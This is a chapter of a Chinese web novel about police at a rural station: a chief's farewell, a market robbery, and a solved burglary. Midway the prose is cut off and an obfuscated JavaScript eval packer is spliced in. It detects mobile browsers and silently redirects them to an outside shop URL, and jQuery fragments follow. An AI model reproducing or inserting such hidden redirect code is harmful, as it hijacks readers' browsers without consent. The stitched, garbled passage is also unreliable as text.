默认冷灰
24号文字
方正启体

37.烟火里的星光

作者:周明森本书字数:K更新时间:
    第33章:烟火与星光


    【文章摘要】:昝岗派出所的老槐树见证了警营的变迁。曲所长调离前,将一枚五角星徽章留给赵副所长,寓意着昝岗警察的脊梁骨是直的。曲所长走后,赵华甫副所长接任,他强调“实打实”的办案态度,并带领新来的民警刘和亮和刘立新处理集市上的抢劫事件。他们不仅抓捕了抢劫犯,还帮助了有困难的村民。在处理李老汉家被盗案时,他们通过细致的侦查和线索追踪,成功找回被盗的金镯子和存折。昝岗派出所的警察们用自己的行动守护着这片土地的安宁,他们的故事就像老槐树的年轮,记录着责任和担当,也记录着对这片土地的热爱。


    一、老槐树的年轮


    昝岗派出所的老槐树落尽最后一片叶子时,院子里的空气也跟着沉了下来。秋风卷着枯叶在地面打旋,像是在为即将到来的离别跳一支无声的舞。曲令观所长的办公桌收拾得干干净净,砚台里的墨汁早已晾干,镇纸下压着几张没写完的便签,字迹遒劲,还带着他惯有的力度。那只陪了他五年的搪瓷缸子摆在窗台上,缸沿的磕碰处像圈年轮,记录着他在这里的日日夜夜——有抓捕吴老赖时溅上的酒渍,黄澄澄的,还能看出当时的混乱;有审讯李贵强时泼洒的茶水,在缸壁上晕开浅褐色的印记;还有无数个冬夜暖手时留下的温度,仿佛指尖的触感还留在冰凉的搪瓷上。


    他站在院子中央,军绿色的警服被风吹得微微鼓荡,领口的风纪扣系得一丝不苟。目光扫过墙上的“先进集体”锦旗,那是前年破获系列盗窃案后乡里送的,红绸子边缘已经有些磨损;扫过墙角那丛他亲手栽的仙人掌——去年冬天差点冻死,是他值夜班时特意用旧棉袄裹着,才在零下五度的寒夜里熬了过来,如今墨绿色的掌片上还留着冻伤的疤痕;最后落在我们这些站得笔直的身影上,眼眶慢慢红了,像被风迷了眼。


    “曲所,真要走啊?”李振猛的声音有点发涩,他手里还攥着早上给所长泡的浓茶,茶叶在玻璃杯底沉成一团深绿,像没说出口的千言万语。他的指关节因为用力而发白,袖口磨出的毛边沾着点墨迹——那是昨天帮所长抄报案记录时蹭上的。


    曲所长笑了笑,眼角的皱纹挤成几道深沟,里面像藏着这些年的风霜:“走啊,拘留所那边缺个懂基层的,局里点了我的名。”他抬手理了理帽檐,动作还是那么标准,“你跟了我三年,办案子越来越稳了,就是有时候太轴——记得,水至清则无鱼,但咱警察心里的秤,不能歪。”他拍了拍我的肩膀,手劲还是那么大,震得骨头都发麻,掌心的老茧蹭过警服布料,带着粗糙的暖意。


    我鼻子一酸,想说点什么,喉咙却像被堵住了。三年前曲所长从古城派出所调来,对我照顾有加,下乡就带着我,我跟着他写笔录,看现场、问口供,甚至在我开枪时,默默递过来块擦枪布,说“准头是练出来的,胆气不能丢”。刘长坡蹲在地上,用树枝在泥地里划着圈,圈里套着圈,像解不开的结。他闷声闷气地说:“到了拘留所,别总想着省肥皂,那地方的人鼻子灵,你身上的汗味盖不住。”他的军靴边,还放着昨晚擦好的皮鞋——黑色的,鞋油打得锃亮,本想让所长穿着新鞋走,鞋头的折痕里还塞着没清理干净的鞋油棉。


    曲所长被逗笑了,弯腰捡起块小石子扔过去,正打在刘长坡的鞋尖上:“就你话多。”他从兜里掏出个红布包,层层打开,是枚磨得发亮的徽章,边角都磨圆了,背面刻着的“1973”字样已经模糊。“这是我刚当警察时发的,留给赵副所吧,他接我的班,得让他知道,昝岗的警察,脊梁骨是直的。”


    赵华甫副所长站在一旁,笔挺地像棵白杨树。他刚从部队转业那会儿,跟曲所长就是老相识,又一起摸爬滚打三年。接过徽章时,他的手指微微发颤,把徽章在掌心攥成了团,像是握住了千斤重担:“所长您放心,我要是干不好,您回来扒我的警服。”他的声音带着军人特有的硬朗,尾音却有点发飘。


    送曲所长走的那天,所里的三轮摩托都开了出来,车斗里的警灯擦得干干净净,红蓝两色在晨光里格外醒目。摩托排成一串跟在他的吉普后面,像条游动的长龙。车出乡道时,要上一个陡坡,三轮摩托马力不足,突突地冒黑烟,曲所长的吉普在坡顶停了下来,他从车窗里探出头,挥着手让我们别送了。李振猛跳下车,跑到吉普边,把那杯浓茶塞进车窗:“所长,路上喝,暖身子。”


    曲所长从后视镜里看见我们还在跟着,突然按了三声喇叭——那是我们每次出警前约定的信号,第一声是“准备出发”,第二声是“注意安全”,第三声是“等你回来”。李振猛的眼泪终于忍不住掉了下来,砸在车把上,溅起一小片泥花,他赶紧用袖子擦,却越擦越花,把袖口的墨迹都蹭到了脸上。


    曲所长走后第三天,全所大会在会议室召开。墙上的时钟滴答作响,指向九点整时,赵华甫推门进来。他穿着新熨烫的警服,胸前的警号“057321”在日光灯下闪着光,裤线笔直得像用尺子量过。他没坐所长的椅子,那把铺着蓝布垫的木椅还空着,而是站在桌前,双手按在桌面上,指节因为用力泛白:“我赵华甫没别的本事,就知道三个字——实打实。以后办案子,不许藏着掖着;对待群众,不许摆架子;谁要是敢给昝岗派出所抹黑,我第一个不答应!”


    他的声音像砸夯机,震得窗户玻璃嗡嗡响,窗台上的仙人掌晃了晃,掉下来一片小掌片。牛明良坐在角落里,飞快地在笔记本上写字,笔尖划破纸页的声音格外清晰。他的笔记本封面印着“公安业务学习”,是所里统一发的,现在已经记满了大半本。散会后,他偷偷告诉我:“赵所的字比曲所的有劲,你看这‘实’字,最后一捺像把刀,能劈进纸里去。”


    没过多久,宋德全指导员也接到了调令,要去城郊派出所当所长。他收拾东西时,把那套《预审案例汇编》留给了新来的同志,书脊用牛皮纸包着,是他自己糊的,扉页上写着“心有猛虎,细嗅蔷薇”,字迹清秀,和他说话的温和劲儿很像。我送他到门口,他突然转身,从包里掏出个布偶,是只歪歪扭扭的小熊,用碎花布缝的,肚子里塞着棉絮:“上次帮李村的孩子找丢失的书包,她娘给的,说能辟邪。留给你吧,出警时带着。”


    小熊的耳朵少了一只,眼睛是用黑纽扣缝的,其中一颗还松了线,耷拉着像要掉下来,却让人心里暖暖的。看着宋指导的车消失在路口,扬起的尘土慢慢落定,我突然觉得,警营就像棵老槐树,有人走了,留下一圈圈年轮,记录着曾经的风雨;有人来了,抽出新的枝芽,迎着阳光生长。


    刘长坡调去城关派出所那天,特意穿了件新衬衫,浅蓝色的,领口系着红领带,是他攒了两个月工资买的。他抱着个纸箱,里面是他攒了八年的案件笔记,封皮上用红笔写着“昝岗乡盗窃案高发地段示意图”,上面密密麻麻的红点像星星,标注着1985年到1993年的案发地点。“城关那边乱,正好让我练练手。”他拍着我的肩膀,笑得满脸通红,酒涡里像盛着光,“等我在刑警大队站稳了,回来接你们喝酒,就去乡东头的老马家,点他那道炖野兔!”


    他走后没半月,局里就调来了两位老民警。刘和亮个子不高,也就一米六五,肩膀却宽得像座山,穿着件洗得发白的中山装,袖口卷到胳膊肘,露出结实的小臂,上面有块月牙形的疤。“那是1978年抓偷牛贼时被牛角顶的,”他自己解释道,说话带着浓重的乡音,z和zh都分不清,笑起来眼角堆着肉,像两朵菊花,“我在偏远乡所待了十五年,就会办三件事:调解纠纷、找牛找羊、给老人送迷路的孩子回家。”他的搪瓷缸子比脸还大,印着褪色的“为人民服务”,缸底结着层厚厚的茶垢,像层琥珀。


    刘立新则瘦高个,一米八几,戴副黑框眼镜,镜片后面的眼睛像鹰隼,看人时总带着股审视的劲儿,仿佛能穿透人的皮肉看到骨头里。他拎着个旧皮包,棕色的人造革已经开裂,里面装着厚厚的案卷,用细麻绳捆着,标签上的字迹工整得像印刷体。“我在刑侦队待过十年,最擅长从死人嘴里掏话——活人更别想骗我。”他说话语速快,带着点县城口音,手指修剪得干干净净,指甲缝里连点泥都没有,翻开卷宗时动作轻得像怕惊扰了真相。


    二、集市上的刀锋


    他们来的第三天,昝岗集市就出了事。那天是农历九月初八,按习俗是“赶集日”,十里八乡的人都往镇上涌,卖菜的、说书的、耍猴的挤在一条街上,人声鼎沸得能掀翻屋顶。报警电话是卖糖葫芦的张大爷打的,他在那头气得直哆嗦,听筒里还能听见嘈杂的争吵声:“一群黄毛小子,拿着刀抢王老汉的苹果!还说‘警察来了也没用’!”


    赵所长抓起帽子就往外走,警帽的带子在下巴上啪地扣紧,带起一阵风。“去看看这群小兔崽子长了几颗脑袋!”他的皮鞋在走廊里敲出急促的声响,像在敲响警钟,路过值班室时,还不忘回头喊了句,“把枪带上!”


    集市上的人跟潮水似的往两边退,中间空出块地,像条被劈开的河。几个染着黄头发的年轻人正围着王老汉的水果摊,牛仔裤上全是破洞,嘴里叼着烟,烟圈在阳光下一圈圈散开。穿黑夹克的高个子用水果刀挑着个红苹果,刀刃在阳光下闪着寒光,苹果皮被削成条,垂下来像条红色的蛇。“老头,五十块钱,这筐苹果我全要了。”他吐掉烟蒂,用脚碾了碾,“别不识抬举,不然这刀可不长眼。”


    王老汉蹲在地上,手死死护着筐沿,指节因为用力发白,青筋像蚯蚓似的鼓起来。他的蓝布褂子沾着泥点,是早上赶车时蹭的,“这苹果我进价都八毛一斤,一筐五十斤,你这是抢啊!”他的膝盖在地上磨出片湿痕,是急出的汗,顺着裤腿往下滴,在泥地上洇出小水圈。


    “抢又怎么了?”高个子嗤笑一声,嘴角撇到耳根,抬脚就要踹筐子。那只苹果在刀尖上转着圈,像在戏耍猎物。旁边一个染着绿头发的小子已经拎起麻袋,往里面装苹果,红通通的苹果滚进去,发出沉闷的响声。


    “住手!”赵所长的吼声像炸雷,震得周围的人都哆嗦了一下,耍猴人的猴子吓得吱吱叫,抱着柱子不敢动。他几步冲到摊前,军靴踩在烂菜叶上发出“噗嗤”声,一把抓住高个子持刀的手腕,指节捏得发白,“光天化日之下持刀抢劫,你当警察是摆设?”


    高个子猛地回头,黄头发遮住了半只眼,露出的瞳孔里满是不屑,像看个傻子:“警察?城关派出所的李哥是我拜把子兄弟,你敢动我?”他手腕一翻,水果刀就要往赵所长手上划,刀刃带着风声,闪着冷光。


    刘和亮像座山似的撞过去,胳膊肘顶住高个子的腰眼,只听“哎哟”一声,那小子像被抽了筋,手里的刀“哐当”掉在地上,刀尖扎进泥里,颤巍巍地晃着。“拜把子?我看是拜阎王!”刘和亮的乡音在嘈杂的集市上格外有力,每个字都带着土腥味,“十五年前,我抓过个跟你一样狂的,现在还在牢里踩缝纫机呢!”他的大手像铁钳,死死扣着对方的胳膊,指腹的老茧蹭得对方疼得龇牙咧嘴。


    另几个黄毛想上来帮忙,刘立新突然从包里掏出个相机,黑色的“海鸥”牌,是他从刑侦队带来的。“咔嚓”一声按下快门,闪光灯在阳光下亮得刺眼。“刚才你们拿刀的样子,我都拍下来了。”他把相机往怀里一揣,推了推眼镜,镜片后的眼睛冷得像冰,“要不要看看?够你们蹲半年的。对了,城关派出所的李所长是我徒弟,他要是知道你打着他的旗号胡来,非扒了你的皮不可。”


    那几个黄毛的脸瞬间白了,刚才的嚣张劲儿跑得无影无踪,像被戳破的气球。有个矮个子想偷偷溜走,被李振猛一把抓住后领,像拎小鸡似的提了回来:“想走?先跟王大爷道个歉,再把苹果钱给了!”他的军靴在地上碾出声响,带着不容置疑的威严,鞋跟沾着的泥点溅到对方的裤腿上。


    王老汉看着掉在地上的苹果,有几个摔烂了,红瓤混着泥,像淌血的伤口。他突然蹲下去,捡起个没烂的,用袖子擦了擦,往赵所长手里塞:“同志,吃个苹果吧,甜的。”苹果上还沾着他的体温,暖暖的。


    赵所长没接,反而掏出五十块钱放在摊上,是张崭新的绿票子:“王大爷,这钱您拿着,算我们买的。”他转向那几个黄毛,声音冷得像冰,“你们刚才说警察来了也没用?今天就让你们知道,在昝岗乡,警察的话就是王法!”


    围观的群众突然鼓起掌来,掌声像潮水似的漫过集市,惊得树上的麻雀扑棱棱飞起来。卖菜的大婶往我们手里塞黄瓜,沾着新鲜的泥土,还带着刺;炸油条的大哥递来刚出锅的油条,用粗纸包着,烫得人手心发红,心里却暖烘烘的,油条的香味混着油烟味,是最踏实的人间烟火。


    回所里的路上,刘和亮哼起了小调,是首老掉牙的红歌,“东方红,太阳升”,跑调跑得厉害,却透着股高兴劲儿。刘立新从包里掏出个笔记本,上面记着刚才那几个黄毛的体貌特征:“穿黑夹克的叫黄三,去年因为敲诈勒索被城关所处理过,拘留了十五天,是城关镇的惯犯。”他的笔尖在纸上沙沙作响,像在编织法网,字迹小而密,挤得纸页都鼓起来了。


    赵所长握着方向盘,突然说:“明天我去趟城关派出所,跟李所长聊聊。不是为黄三,是想问问他们那边的联防经验,咱昝岗也得搞起来。”车窗外掠过一片麦田,刚种下的麦子冒出嫩芽,像铺了层绿绒毯,风一吹,绿浪滚滚。


    牛明良在宿舍门口等我们,手里捧着个搪瓷缸,里面是刚泡好的茶,茶叶在热水里舒展着,像跳舞。“赵所,刘哥,我查了黄三的户籍信息,他老家是王家庄的,爹娘早没了,跟着叔叔过。”他的笔记本上画着简易的关系图,箭头密密麻麻,把黄三和他的同伙都串了起来,像张网。


    赵所长接过茶缸,热气模糊了他的眼镜片:“小牛,明天跟我去趟王家庄,看看他叔叔家的情况。”他顿了顿,声音柔和了些,“记住,咱们抓坏人,也得知道他为啥变坏。但不管为啥,犯法就得受罚——这是底线。”


    牛明良使劲点头,后脑勺的头发蹭得帽檐直响,笔记本上又多了行字,笔画有力,像把刚出鞘的刀。


    夜幕降临时,所里的灯一盏盏亮了起来,透过窗户,在院子里投下温暖的光,像撒了一地金子。刘和亮在厨房帮炊事员张婶劈柴,斧头起落间,木屑纷飞,落在他的中山装肩头,像沾了层雪;刘立新在整理案卷,台灯的光在他镜片上跳跃,把他的影子拉得很长,投在墙上像个专注的剪影;赵所长站在地图前,手指在昝岗乡的版图上移动,从东河村到西坡镇,每个地名都点了点,像在播撒希望的种子。


    我看着墙上的锦旗,突然觉得,那些离开的人从未走远,他们的精神就像老槐树的根,深深扎在土壤里,滋养着新的枝芽。而我们这些留下的人,还有新来的同志,就像这树枝上的叶子,


    迎着风,向着光,守护着这片土地的安宁。老槐树的枝桠在月光下伸展,像无数双托举的手,托着星星,也托着我们心里的那点热。


    三、烟火里的标尺


    审讯室的灯亮到后半夜。钨丝灯泡挂在天花板中央,线绳有些老化,随着外面的风轻轻摇晃,把黄三的影子在墙上拉得忽长忽短,像个不安分的幽灵。黄三一开始还嘴硬,梗着脖子说就是“跟老头开个玩笑”,嘴角撇着,眼神里的不屑藏都藏不住。直到刘立新把集市的监控录像放给他看——那是乡供销社新装的监控,像素不高,画面有点模糊,却清晰地拍到他用刀背拍着王老汉的脸,另外几个黄毛正往麻袋里装苹果,动作熟练得不像第一次干,连王老汉试图阻拦时被推搡的画面都录得明明白白。


    “说吧,”赵所长往桌上扔了瓶矿泉水,瓶盖弹开时溅了点水在黄三手背上,他缩了下脖子,像被烫着,“从什么时候开始在集市上捣乱的?还有多少商户被你们欺负过?”


    黄三的喉结动了动,像有只□□在嗓子眼里跳。他突然抬头,眼里闪过一丝侥幸,像抓住了救命稻草:“我说了,能从轻处理不?”他的声音带着哭腔,刚才的嚣张全没了,只剩下瑟缩,“我就是想挣点钱给我奶奶买药,她肺癌晚期……医院催了好几次了……”


    刘和亮蹲在他面前,膝盖“咔”地响了一声——他年轻时在山里追逃犯摔过,落下了病根。他掏出自己的搪瓷缸子,从暖瓶里倒了杯热水递过去,水汽氤氲了他眼角的皱纹:“挣钱有正道,抢老汉的苹果,算啥本事?”他的声音软了点,带着点恨铁不成钢,“你奶奶要是知道你这么干,能咽下这口气?她含辛茹苦把你拉扯大,是让你当强盗的?”


    黄三捧着水杯,指节因为用力而发白,杯壁上的水珠顺着他的手往下淌,滴在裤腿上洇出深色的印子。眼泪突然掉了下来,砸在杯沿上,溅起细小的水花,像断了线的珠子:“我没办法……我去工地上找活,人家嫌我年纪小;去饭店洗碗,老板说我手脚笨……我奶奶天天咳,一咳就出血,我听着心里像被刀剜……”


    他断断续续地交代了——从开春到现在,他们在昝岗、城关的集市上强买强卖了十七次,抢过菜农的黄瓜、果贩的橘子,甚至还敲诈过卖糖葫芦的张大爷。每次得手后,就把东西拉到县城的黑市卖掉,钱大多给了奶奶买药,剩下的几个人凑着喝酒,喝多了就吹嘘“警察也不敢管”。


    “张大爷的糖葫芦串,你们也抢?”李振猛气得拍桌子,桌上的笔录本都跳了起来,纸页哗哗作响,“他儿子去年车祸去世了,就靠这点小生意养活孙子!冬天天不亮就起来熬糖,手冻得裂口子,你们忍心?”他的声音带着火气,额头上的青筋都鼓了起来。


    黄三的头埋得更低了,肩膀抖得像秋风里的落叶,连带着手里的水杯都在晃,热水溅出来烫了手,他也没吭声,只是把脸往膝盖上贴,像要钻进去躲起来。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018732|192731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    第二天一早,赵所长带着我们去给商户们赔罪。天刚蒙蒙亮,集市上已经有了动静,卖豆腐的推着板车过来,轮子碾过青石板路发出“咕噜咕噜”的响;炸油条的支起油锅,油花溅起的声音噼里啪啦,香味飘出老远。王老汉正蹲在地上捡苹果,把没烂的装进筐里,烂了的就扔进旁边的竹篮,准备带回家喂猪。他看见我们,赶紧往筐里塞苹果:“同志,别往心里去,都过去了。”他的手背上还有道浅浅的红印,是昨天被刀背拍的,像朵没开的花,在粗糙的皮肤上格外显眼。


    “大爷,这是赔偿款。”赵所长把五百块钱递过去,是黄三他们凑的——其实也就凑了一百多,剩下的都是所里几个同志你三十我五十凑的,“黄三他们不仅要赔您的苹果钱,还得给您道歉。”他顿了顿,声音沉了些,带着歉意,“是我们工作没做到位,让您受委屈了。”


    王老汉的眼圈红了,捏着钱的手直哆嗦,指腹上的老茧磨得钱票沙沙响:“你们都尽力了……要不是你们来得快,我这筐苹果怕是连筐都要被抢走了。”他转身从筐底掏出个用网袋装着的苹果,红得发亮,是筐里最大的一个,塞给赵所长,“这个您拿着,自家树上结的,甜。”


    从集市回来的路上,赵所长突然说:“以后每周三、周六,所里派人在集市巡逻,穿便衣,跟商户们混熟点。”他指了指路边的早点摊,张大爷正往糖葫芦上裹糖,糖浆在阳光下亮晶晶的,“刘和亮负责东边,你跟商户打交道有经验,他们信你;刘立新盯西边,你眼神尖,能看出谁不对劲;我和李振猛在中间转悠,有情况随时支援。”


    刘和亮笑着挠挠头,中山装的袖口滑下来,露出小臂上的月牙疤:“我这乡音重,商户们听着亲切,行。我再跟他们说,谁家有难处就吱声,咱警察不光抓坏人,还能搭把手。”刘立新推了推眼镜,镜片反射着晨光:“我带个相机,把可疑人员都拍下来,建个档案。再跟供销社说声,把监控角度调调,重点拍摊位密集的地方。”


    日子像昝岗河的水,慢慢淌着。深秋的一个清晨,李村的李老汉打来电话,声音抖得像筛糠,电话那头还能听见老太太的哭声:“警察同志,我家……我家被盗了!我老伴的金镯子、存折,全没了!那镯子是她的命根子啊……”


    我们赶到时,李老汉家的堂屋门被撬得歪在一边,锁芯掉在地上,像颗被敲碎的牙齿,黄铜的锁舌弯成了钩。李老汉的老伴坐在地上哭,手里攥着个空首饰盒,红绒布上还留着个镯子印,边缘有些磨损——那是四十年前李老汉用三个月工钱给她买的定情信物。“那是我陪嫁的镯子,戴了四十年了……”她的哭声里,全是岁月的重量,每一声都像砸在心上。


    李振猛蹲在窗台下,用手指量着窗台上的脚印:“鞋码四十二,前掌深后掌浅,应该是双旧鞋,鞋底花纹快磨平了。步幅六十五厘米,身高大概一米七五,年轻人,体重不轻,看这压痕,得有一百五十斤往上。”他从兜里掏出个透明袋,小心翼翼地把脚印周围的泥土装进去,动作轻得像怕惊动了什么,“这土是湿的,昨晚下过小雨,嫌疑人应该是后半夜来的,趁着雨大没脚印。”


    牛明良举着相机在院子里拍照,镜头对着墙角的草丛,“咔嚓咔嚓”响:“李大爷,您看这是不是您家的烟蒂?”他指着棵月季花下的烟头,过滤嘴上还沾着点红印,像抹了口红,在翠绿的叶子间很扎眼。


    李老汉凑过去看了看,摇着头,烟袋杆在手里攥得发白:“俺不抽这烟,这是‘玉溪’,贵着呢。俺抽的是旱烟,自己卷的。”他的旱烟袋还挂在墙上,烟锅里的烟灰都冷透了,旁边放着个铁皮烟盒,里面装着烟叶,黑乎乎的。


    刘立新蹲在烟蒂旁,用镊子夹起来放进证物袋,动作比绣花还细:“过滤嘴上有口红,说明嫌疑人可能带了女伴,或者近期接触过女性。烟是前天生产的,本地超市没卖的,得去县城买,说明他去过县城,或者有渠道弄到。”他推了推眼镜,镜片反射着晨光,“李大爷,您家最近有陌生人来过吗?尤其是年轻人。”


    李老汉想了半天,眉头皱成个疙瘩,突然一拍大腿,震得裤腿上的尘土都飞起来:“有!上周三,村西头的二柱子带了个朋友来借锄头,那小伙子就穿四十二码的鞋,我瞅着他试鞋时,鞋底磨得光光的!说话带城关口音,说是什么‘表兄弟’,来村里玩几天!”


    我们顺着线索找到二柱子家时,他正蹲在门口啃玉米饼,黄澄澄的玉米渣掉了一胸脯。看见警车,手里的饼“啪”地掉在地上,沾了层泥,他也顾不上捡,站起来就往后退,后腰撞在门框上,发出“咚”的一声:“我就……我就借了锄头给他,真不知道他偷东西啊!”他结结巴巴地说,眼睛瞟着村东头的玉米地,“张强说去那边挖点草药,天亮就走,他说他奶奶病了,需要草药……”


    刘和亮往玉米地深处望了望,玉米秆密得像堵墙,绿中带黄的叶子在风里哗哗响:“他带着个黑布包不?挺大的那种。”


    二柱子点头如捣蒜,头发上还沾着玉米须:“带了!鼓鼓囊囊的,看着沉得很,不知道装的啥。他说里面是换洗衣服……”


    赵所长挥了挥手,声音果断:“李振猛跟我走东边,沿着田埂搜;刘和亮带两个人走西边,注意玉米秆后面的动静;刘立新守着路口,别让他跑了;牛明良联系村里的联防队,把玉米地围起来!”


    玉米叶割得脸生疼,像小刀子在刮,露水打湿了裤脚,冰凉地贴在皮肤上,冻得人直哆嗦。我跟着赵所长往深处走,脚下的泥土软软的,是昨晚的雨水泡的,每走一步都陷进去半只鞋。突然听见前面有窸窸窣窣的响动,像有人在扒玉米秆。赵所长打了个手势,我们放慢脚步,猫着腰,拨开玉米叶慢慢绕过去——只见个穿黑夹克的年轻人正蹲在坟头边,背对着我们,往包里塞东西,包角露出半截红绒布,正是李老汉说的首饰盒,红得刺眼。


    “张强!”赵所长喊了一声,那年轻人猛地回头,脸上还沾着泥,眼神里全是惊慌,手里的包“哐当”掉在地上,金镯子、存折撒了一地,在枯黄的草地上闪着光。他想往玉米秆密的地方钻,李振猛已经绕到了他身后,一把将他按住,膝盖顶在他后腰上:“跑啥?偷老人家的东西,算啥本事?”


    张强的脸涨得通红,像被太阳晒过的西红柿,嘴里还在嘟囔:“我奶病了,要钱做手术……我也是没办法……”


    刘和亮捡起地上的存折,翻开看了看,上面的数字是“5800”,墨迹有点晕,是李老汉老伴当年一笔一划写上去的:“李大爷说这存折里是他老伴的救命钱,老太太有高血压,随时可能犯病。你奶病了,就能抢别人的救命钱?那你奶知道了,能安心?”他的声音不高,却像锤子敲在张强心上,张强的肩膀塌了下去,不再挣扎。


    回所里的路上,张强突然哭了,眼泪混着脸上的泥,在下巴上糊成了花:“我真不知道那是救命钱……我就是急疯了……我奶住院,每天都要交钱,不交就停药……”


    赵所长叹了口气,从兜里掏出块手帕递给他:“急也不能犯法。你奶的病,所里可以帮你联系民政局申请救助,还有红十字会,总能想办法。但偷东西的账,该算还得算——法律不认‘没办法’,只认对不对。”


    那天下午,李老汉的老伴握着失而复得的金镯子,在派出所门口给我们鞠躬,腰弯得像株被风吹弯的麦穗,花白的头发垂下来,遮住了脸:“谢谢你们……谢谢你们……这镯子要是没了,我也不想活了……”赵所长赶紧扶住她,手心的温度透过衣袖传过去:“大娘,这是我们该做的。以后门窗锁好,有陌生人多留个心眼,有事就给所里打电话,24小时有人。”


    夕阳把派出所的影子拉得很长,像条温暖的毯子。刘和亮在院子里给仙人掌浇水,那丛曲所长栽的仙人掌开了朵嫩黄的花,小小的,却很精神,在秋风里摇摇晃晃;刘立新在整理案卷,台灯的光落在“昝岗派出所”的印章上,红得发亮,像团跳动的火;赵所长站在老槐树下,看着我们这些年轻人笑闹——李振猛正跟牛明良比掰手腕,两人脸都憋得通红,引得大家直叫好,他眼角的皱纹里盛着光,像落满了星星。


    我突然明白,警营的故事从来不是惊天动地的传奇,而是藏在集市的烟火里,在商户递来的那根黄瓜里,在老人失而复得的金镯子上,在我们这些人的脚印里——一步一步,踩在这片土地上,踏实,坚定。就像老槐树上的年轮,每一圈都是责任,每一道都是担当,记录着寒来暑往,也记录着我们心里的那点热,这点热,能融开冬日的冰,能照亮黑夜里的路,能让老百姓觉得,警察就在身边,安稳就在眼前。


    老槐树的叶子落了又长,我们的故事也在继续。有人离开,有人到来,但那股子扎根在泥土里的劲儿,像老槐树的根,越扎越深,托着这片土地上的烟火,也托着夜空中的星光,岁岁年年,从未改变。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)